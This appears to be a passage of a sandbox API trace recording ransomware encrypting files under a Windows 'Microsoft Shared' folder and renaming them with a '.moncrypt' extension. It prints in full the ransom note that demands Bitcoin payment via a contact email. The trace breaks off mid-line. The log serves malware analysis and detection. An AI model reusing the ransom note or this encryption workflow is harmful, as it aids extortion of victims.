GlobalUnlock (hMem=0x440004) returned 0 [0045.350] GlobalLock (hMem=0x440004) returned 0x551178 [0045.350] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.350] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.350] GlobalUnlock (hMem=0x440004) returned 0 [0045.350] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.350] GlobalUnlock (hMem=0x44000c) returned 0 [0045.350] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0045.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0045.350] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0045.350] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0045.350] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.350] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.351] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.351] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.351] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0045.351] CloseHandle (hObject=0x188) returned 1 [0045.351] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0045.351] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.351] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.351] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.351] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.351] GlobalUnlock (hMem=0x44000c) returned 0 [0045.351] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.351] GlobalLock (hMem=0x440004) returned 0x553188 [0045.351] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.351] GlobalUnlock (hMem=0x44000c) returned 0 [0045.351] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.351] GlobalUnlock (hMem=0x440004) returned 0 [0045.351] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.361] CharLowerBuffW (in: lpsz="PNG32.FLT", cchLength=0x9 | out: lpsz="png32.flt") returned 0x9 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", cchWideChar=64, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT ", lpUsedDefaultChar=0x0) returned 64 [0045.361] CharLowerBuffW (in: lpsz=".FLT", cchLength=0x4 | out: lpsz=".flt") returned 0x4 [0045.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".flt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fltShared\\GRPHFLT\\PNG32.FLT ", lpUsedDefaultChar=0x0) returned 4 [0045.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 0x54e200 [0045.362] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.362] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.362] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.362] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT", dwFileAttributes=0x20) returned 1 [0045.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.363] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.moncrypt")) returned 1 [0045.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.363] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.363] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x49f80 [0045.363] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.363] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0045.365] GlobalLock (hMem=0x440004) returned 0x551178 [0045.365] GlobalLock (hMem=0x44000c) returned 0x557188 [0045.365] GlobalHandle (pMem=0x557188) returned 0x44000c [0045.365] GlobalUnlock (hMem=0x44000c) returned 0 [0045.365] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0045.365] GlobalLock (hMem=0x44000c) returned 0x557188 [0045.366] GlobalHandle (pMem=0x557188) returned 0x44000c [0045.366] GlobalUnlock (hMem=0x44000c) returned 0 [0045.366] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0045.366] GlobalLock (hMem=0x44000c) returned 0x557188 [0045.366] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.366] GlobalUnlock (hMem=0x440004) returned 0 [0045.366] GlobalHandle (pMem=0x557188) returned 0x44000c [0045.366] GlobalUnlock (hMem=0x44000c) returned 0 [0045.366] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.366] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.366] GlobalUnlock (hMem=0x44000c) returned 0 [0045.366] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0045.366] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.366] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.366] GlobalUnlock (hMem=0x44000c) returned 0 [0045.366] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0045.367] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0045.367] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0045.404] SetFilePointer (in: hFile=0x188, lDistanceToMove=302976, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x49f80 [0045.404] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0045.405] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0045.406] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0045.417] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0045.417] CloseHandle (hObject=0x188) returned 1 [0045.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.440] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0045.440] CloseHandle (hObject=0x188) returned 1 [0045.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.moncrypt", dwFileAttributes=0x20) returned 1 [0045.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0045.441] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.441] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.441] GlobalUnlock (hMem=0x44000c) returned 0 [0045.441] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.441] GlobalLock (hMem=0x440004) returned 0x553188 [0045.441] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.441] GlobalUnlock (hMem=0x44000c) returned 0 [0045.441] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.441] GlobalUnlock (hMem=0x440004) returned 0 [0045.441] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0045.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0045.441] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0045.441] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0045.441] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.441] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.442] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.442] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.442] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.442] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.442] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.442] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0045.442] CloseHandle (hObject=0x188) returned 1 [0045.442] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0045.442] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.442] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.442] GlobalLock (hMem=0x440004) returned 0x551178 [0045.442] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.442] GlobalUnlock (hMem=0x440004) returned 0 [0045.442] GlobalLock (hMem=0x440004) returned 0x551178 [0045.442] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.442] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.442] GlobalUnlock (hMem=0x440004) returned 0 [0045.442] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.442] GlobalUnlock (hMem=0x44000c) returned 0 [0045.442] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.443] CharLowerBuffW (in: lpsz="WPGIMP32.FLT", cchLength=0xc | out: lpsz="wpgimp32.flt") returned 0xc [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0045.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft 